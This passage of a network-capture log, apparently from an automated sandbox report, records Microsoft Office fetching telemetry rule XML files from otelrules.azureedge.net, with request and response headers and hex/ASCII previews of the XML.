2024-10-30 19:14:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:12 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 3b13a0aa-201e-003f-7a6e-2a6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191412Z-17c5cb586f64sw5wh0dfzbdtvw00000000ng000000009mvg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:12 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:12 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:12 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:12 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191412Z-16849878b786fl7gm2qg4r5y7000000008q000000000p754 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:12 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:12 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:12 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c317859a-501e-00a3-19db-27c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191412Z-r197bdfb6b4n9cxdnknw89p4zg000000019000000000v06u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:12 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:12 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:12 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a1443afe-101e-00a2-13ee-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191412Z-15b8d89586ff5l62aha9080wv000000009qg00000000k1bs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:13 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:12 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:13 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 97090380-701e-0032-52b4-2aa540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191413Z-16849878b786fl7gm2qg4r5y7000000008tg00000000528s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:13 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:13 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191413Z-16849878b78q9m8bqvwuva4svc0000000710000000007ftu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:13 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:13 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ca4b2a6a-001e-000b-1aff-2615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191413Z-17c5cb586f6r59nt4rzfbx40ys00000000n000000000m69d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:13 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 45d05379-301e-006e-0c9a-29f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191413Z-r197bdfb6b4grkz4xgvkar0zcs000000085g00000000b842 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:14 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191414Z-16849878b782d4lwcu6h6gmxnw00000008000000000123xg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:14 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:14 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191414Z-15b8d89586ffsjj9qb0gmb1stn0000000cq00000000080c3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:14 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:14 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191414Z-16849878b78p49s6zkwt11bbkn000000082000000000qn4b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:14 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191414Z-16849878b78p8hrf1se7fucxk800000009b000000000bew7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
